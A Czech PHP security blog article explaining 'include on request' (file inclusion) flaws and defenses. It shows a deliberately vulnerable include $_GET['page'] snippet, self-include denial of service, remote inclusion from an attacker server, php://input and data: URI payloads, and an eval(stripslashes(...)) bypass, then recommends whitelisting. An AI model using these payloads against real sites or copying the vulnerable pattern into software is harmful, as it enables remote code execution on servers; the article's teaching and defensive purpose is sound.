[ Webhosting profitux.cz ]
v6ak [ programování, bezpečnost, web, php, java, ... ] (Vít Šesták)
Buzz - v6ak Twitter - v6ak

štítky

"include na přání" - zneužití a obrana

Několikrát jsem viděl adresu typu index.php?stranka=neco.php, případně index.php?stranka=neco a podobně. Napadlo mě, jakým způsobem to může být uděláno a za bezpečné to nepovažuji. Tuto techniku jsem dokonce viděl v jednom příkladu, který nejspíš pocházel z nějaké knihy.

Napadlo mě, že by to mohli zařídit includem nebo pomocí readfile. (Rozdíl je v tom, že include vykoná PHP kód, zatímco readfile jen vypíše soubor a php kódu si nevšímá.) V případě readfile (to asi nebude použito u přípony PHP) hrozí asi jen prozrazení PHP kódu, případně nějakých dalších citlivých dat (třeba /etc/passwd). V případě databáze by to sice mohlo být zajímavé, ale tu tam asi mít nebudou. Include je zde IMHO mnohem zajímavější, takže soustředím se na něj. Právě proto, že vykonává PHP kód.

Ukážu jeden jednoduchý návrh takovéto stránky (píšu jen body), bude to třeba index.php:

zacatek <?php include $_GET['page']; ?> konec

Pochopitelně to může být i trošu jinak a útok to bude trošku znesnadňovat, ale o tom později.

Jasně, nekontroluji, zda soubor existuje ani zda mi uživatel předal parametr, tím by se už dalo něco málo zjistit (především při zadání neexistujícího souboru). Ale samo o sobě to nic neumí a oboje jde jednou podmínkou ošetřit. (1+1=2, takže dohromady dvěma ;-) ) Teď mě budou zajímat některé útoky...

útoky

Přetížení serveru - sebe-includování

Napadla vás třeba adresa index.php?page=index.php? Proberu, co to udělá:

... a takto se to bude pořád opakovat dokud server vydrží. (Případně může aspoň teoreticky dojít k jinému přerušení.)

Růst náročnosti při bombardování požadavky

Náročnost bude asi později menší, než zde ukážu protože něktrá vlákna php zaniknou buď protože server nestíhá, nebo vyprší časový limit, případně z jiného důvodu.

Náročnost na procesor (C) by měla růst lineárně během celého útoku (C=at, a je konstantní). Náročnost zpracovávání jednoho požadavku na operační paměť (R1) by sice taky měla růst taky lineárně (R1=bt, b je konstantní), ale počet všech zpracovávaných požadavků (n) by měl taky růst lineárně (n=ct, c je konstantní), takže celkové požadavky na paměť (R) by měly být R=0,5R1n=0,5bct2 (jíž zmíněné bc jsou pochopitelně stále konstantní, 0,5 tam musí být proto, že každý zpracovávaný požadavek běžel dosud jinak dlouho, takže si každý ukousnul jiné množství paměti.). V praxi to bude méně, ale bude zde určitě větší růst náročnosti než lineární. Že procesor je ve srovnání s RAMkou "v klidu"? Známé tvrzení říká, že výkon je určen nejslabší částí... Více takových požadavků by tedy mohlo vyřadit server a mohl by stačit i jeden počítač útočníka. Moje PC za chvilku lehlo při zpracovávání jednoho požadavku. Sice nemám zrovna výkonný počítač, ale když bych třeba 64kb/s lince (upload), což je dnes snad minimum (někdo používá sdílení rychlosti, ale zase má větší maximální rychost), posílal samé požadavky a jeden požadavek by měl velikost 1kB (to asi bude menší, ale on se ještě "obalí", sice nejsem síťař, ale vím, že sítě mají několik vrstev), tak za 1s jich pošle 8. A za chvilku se server pěkně "vaří"...

Četl jsem něco o metodě HEAD, což by mohlo být výhodné, ale nezkoušel jsem to, problém by mohl být vypnutý ignore_user_abort.

Vykonání vlastního PHP kódu - upload souboru

Tato možnost je sice trošku teoretičtější, ale ne nemožná. PHP uploadované soubory dočasně ukládá na disk a průhledně je čísluje. Upload souboru lze provést na úplně libovolnou php stránku na serveru, aniž by ho daná stránka nějak zpracovala. Stačí mi dvě věci:

Dříve než skončí generování stránky, na kterou jsem uploadoval soubor, čímž se dočasný soubor smaže, musím uploadovaný soubor nechat includnout. Proto je dobré uploadovat a hned incudnout během jednoho poždavku. Situace je jednodušší na webhostingu - tam lze mnoho věcí zjistit, například cestu, kam se soubor uploaduje, ale hlavně to číslo posledního souboru. U cesty by jistě mnohdy šlo s úspěchem použít výchozí nastavení. Taky může být užitečné vědět, že na serveru žádný upload není, pak asi číslo posledního upladovaného souboru nebude vysoké... Ale zase asi neuvidíte do administrace, takže to nemůžete vědět jistě. Zatím jsem tento útok zkoušel jen v „laboratrních podmínkách“, ale měl by fungovat.

Vykonání vlastního PHP přes adresy http://..., ftp://... apod.

Představte si adresu index.php?page=http://vasserver/hnusnyPhpKod.txt...

K tomuto asi není potřeba dodávat více, než že oběť musí mít pár věcí povolených v nastavení php. Skoro určitě je vyžadováno allow_url_fopen=true. Na freehostingu to tedy asi bude problém.

Virtuální soubor php://input

Virtuální soubor php://input obsahuje část http požadavku - jeho tělo. Toho lze jednoduše zneužít.

Pokud nechám includovat soubor php://input a do těla http požadavku (tam, kde bývají POSTDATA) napíšu vlastní php soubor, můžu vykonat co chci... Includnuté soubory pochopitelně musí obsahovat i začátek php, jinak se nevykonají. Tedy např. <?php echo 'ahoj';

Vhodné je použít XMLHttpRequest a bookmarklet, tím to jde jednoduše, mám to vyzkoušeno.

V objektu XMLHttpRequest se POSTDATA odesílají tak, že je zadáte jeko první argument metody send.

Doma mi to s PHP 4 nefungovalo, na jednom webhostingu s php 4 však jo. BTW: Na tom stejném webhostingu nefungoval útok pomocí http://..., takže tento typ útoku má určitou výhodu.

Vykonání vlastního PHP přes data: (asi jen PHP 5+)

Napadlo vás někdy něco jako: index.php?page=data:application/x-unknown-content-type;base64,PD9waHANCmhpZ2hsaWdodF9maWxlKCcuLycuYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKTsNCg== ? Base64 je vhodné proti znehodnocení řetězce od magic_quotes_gpc. Můžete tam mít i text, který prošel jen funkcí urlencode a nemít base64. Někdy to projde i bez urlencodování, ale pak to neprojde přes magic_quotes_gpc, pokud je zapnuté. Jinému "obejítí" magic_quotes_gpc se budu věnovat za chvilku.

K čemu vlastně data:... je? Já jsem oněm nic moc nečetl, jen jsem ho viděl (ve Firefox, v Acid2), nicméně jsem to vysledoval. Je to pseudoprotokol (podobně jako javascript:...), jehož adresa narozdíl od klasických protokolů neukazuje, kde jsou data uložena, ale přímo je obsahuje. Syntaxe by měla být (píšu php výraz) asi:

'data:'.$MIME.';'.$baseDescr.','.$baseEncodeFunction($data)

Kdo si by to chtěl prostudovat, může si přečíst rfc 2397.

Omezení trošku jinak napsaným skriptem

Jak jsem řekl, skript nemusí být tak "shovívavý", jako ten, který jsem uvedl. Něco nemusí v konkrétním případě chodit. Někdy se s tím však dá něco dělat. Pokud na stránkách používáte tuto rozebíranou techniku s includem, měl bych doporučení: I pokud s něčím neumím nic udělat, neznamená to, že to nelze. Neberte to tedy automaticky jako nekonečně účinné zabezpečení!!! Já jsem například dlouho nic netušil o jednoduchém php://input.

Až budete číst třeba o file_exists, možná si budete myslet, že to je téměř konečné řešení. Nemůžete však vědět, zda se php nebude později chovat jinak. Taky například nevím, zda nepůjde (třeba v PHP 6) napsat za název souboru ?něco nebo #něco, čímž bych mohl úplně vyřadit jinou úpravu - přidání přípony.

Funkce nebo třída (apod.) v index.php

Možná jste toto již někdy viděli:

Fatal error: Cannot redeclare kiss3() (previously declared in ...:...) in ... on line ...

Toto asi úplně znemožní zmíněnému přetížení serveru pomocí includu. Obvykle to autoři nedělají naschvál tak jim to promiňte ;-) .

Větší význam to však asi nemá.

Doplnění začátku adresy

Doplnění cesty

To by mělo ze jmenovaných útoků umožnit snad jen Přetížení serveru a Vykonání vlastního PHP kódu - upload souboru. Pokud se bude na začátek doplňovat něco jiného než "./" (bez těch uvozovek), bude nutné cestu trošku upravit, typicky přidat na začátek "../" (opět bez těch uvozovek). Adresář .. znamená adresář o úroveň výše. Například pages/../index.php může mít stejný význam jako index.php.

Doplnění části názvu souboru

Aspoň jednou jsem viděl, že když jsem do parametru page napsal index.php, stránka se snažila includnout p_index.php. S tímto nevím, co dělat, pokud nebude ve stejném adresáři existovat adresář, jehož název by začínal (v tomto případě) na p_, což asi nebude. Neznamená to však, že toho nelze zneužít.

Doplnění na konci adresy

Často to může být přípona php, někdy to bývá i něco jiného jako například dvojpřípona inc.php... Proberu, jak to ovlivní jednotivé útoky.

Přetížení serveru

Pokud je doplněná přípona stejná jako přípona "hlavní stránky" (zde index.php, takže přípona bude php), pak ji stačí v GET parametru page vynechat.

Vykonání vlastního PHP kódu - upload souboru

Pochybuji, že by někdo přidával příponu tmp takže toto asi bude problém.

Vykonání vlastního PHP přes http://, ftp:// apod.

Zde by měl být minimální problém zvlášť u http(s). Úročník může použít třeba mod_rewrite. Jednodušší však bude použít otazník, čímž se ze zbytku adresy stane tzv. query string (v prvním jmenovaném útoku byl query string page=index.php), který zřejmě bude vašim serverem (pokud budete v roli útočníka) ignorován.

Virtuální soubor php://input

Zde by mohlo pomoci snad jedině php://filter, nedařilo se mi to však vůbec rozchodit.

Vykonání vlastního PHP přes data: (asi jen PHP 5+)

Zde by to taky neměl být problém, když připomenu, že u data:... lze použít místo base64 i string upravený funkcí urlencode. Zbytek prostě zakomentuji (//) nebo ukončím blok php (něco jako ?>) ...

Pokud je zapnuté magic_quotes_gpc a kašlete na urlencodování, zkuste toto.

Blacklist

Zakázání některých znaků nebo jejich sekvencí v názvu souboru. (Třeba pomocí strpos)

K tomu asi není moc co říct, záleží to totiž na konkrétním omezení. Nezapomeňte však, že existuje více možných útoků a já určitě neříkám, že vyjmenovávám všechny. Takže i kdyby to vždy zabránilo všem útokům, které jsem zde popsal, stále může existovat alespoň jeden útok, který jsem zde nepopsal a kterému to nezabrání. Je to přece jenom blacklist.

Zakázání konkrétních vstupů

Tato metoda patrně nebude moc účinná ani na case-sensitive filesystému. Pokud budete blokovat třeba index, není problém napsat ./index (to jsem už aspoň dvakrát viděl). S přepočítáním na absolutní cestu (např. pomocí realpath) by to mohlo dosáhnout vyšší účinnosti, ale stále to je jen blacklist.

Co je vlastně adresář .?

Adresář .. byl adresář o úroveň výše (nadřazený), adresář . je aktuální adresář. Takže ./index.php může znamenat to stejné co index.php.

file_exists

Pomocí této funkce lze kontrolovat existenci souboru. Ano, mám namysli kód:

if(file_exists($_GET['page'])) include($_GET['page']);

Toto omezení dělá útočníkovi problémy na první pohled nepředpokládané - umožní kontrolovat pouze lokální soubory a tím omezuje zneužití. Úplně to však taky nezabezpečí a jak jsem říkal, není vyloučeno, že toto později bude možné nebo že jsem na něco zapoměl.

magic_quotes_gpc

Toto není vůbec žádná ochrana, jen podle mého názoru ne zrovna čistá technika (navíc určena pro něco úplně jiného), kterou lze zde velmi lehko obejít, navíc u mnoha útoků není vůbec poznat. Na freehostingu je však pravděpodobné, že bude zapnuta.

Obejítí:

  1. do GET parametru A napište php kód, který chcete vykonat
  2. zvoleným útokem nechte vykonat toto:
    eval(stripslashes($_GET[chr(65)]));

A jaká byla „ochrana“?

Whitelist - to nejlepší na konec

Co skuteně účinně ochrání před zneužitím je whitelist - povolí jen to, co mu výslovně řeknu. Je výhodné generovat menu a ještě to použít jako whitelist. Navíc pro stránky jako 404 můžete použít extra whitelist třeba pomocí funkce in_array. Mezi whitelistem z menu a extra whitelistem bych pochopitelně dal vztah "nebo".

Výsledkem může být např.:

if( isset($_GET['page']) && ( in_array($_GET['page'], $whitelist) || array_key_exists($_GET['page'], $menu) ) ){ include $_GET['page']; }

Závěr

Ukázali jsme si různé způsoby zneužití a obrany před zneužitím toho, čemu říkám include na přání. Jediným, kterému bych prakticky úplně věřil, je whitelist.

Navrhuji však ještě lepší způsob: na tyto věci nepoužívejte include. Vytvořte si třídu (nebo přinejhorším dvě+ funkce), která bude mít dvě+ metody, z nichž jedna slouží k generování začátku stránky a druhá ke generování konce stránky. Tím si otevřete cestu dál. Málokdo to s includem dopracoval na přesměrování. Navíc tento navržený způsob může vést k MVC. To není žádná díra, to je „jen“ softwarová architektura.

Diskuzi ke článku naleznete zde.

Linkování

Líbí se Vám tato stránka? Zalinkujte ji!

Chcete sledovat novinky? Pokud si právě prohlížíte článek a hledáte RSS pro celý web, pak jste trošku jinde. Možná hledáte poslední změny.

Validní HTML 4.01 StrictValidní CSS 2.0Validní hlavní RSS kanálPHP 5Apache
referer: UA:CCBot/2.0 (http://commoncrawl.org/faq/) time:0.07418800 1513497035
web
mail
comment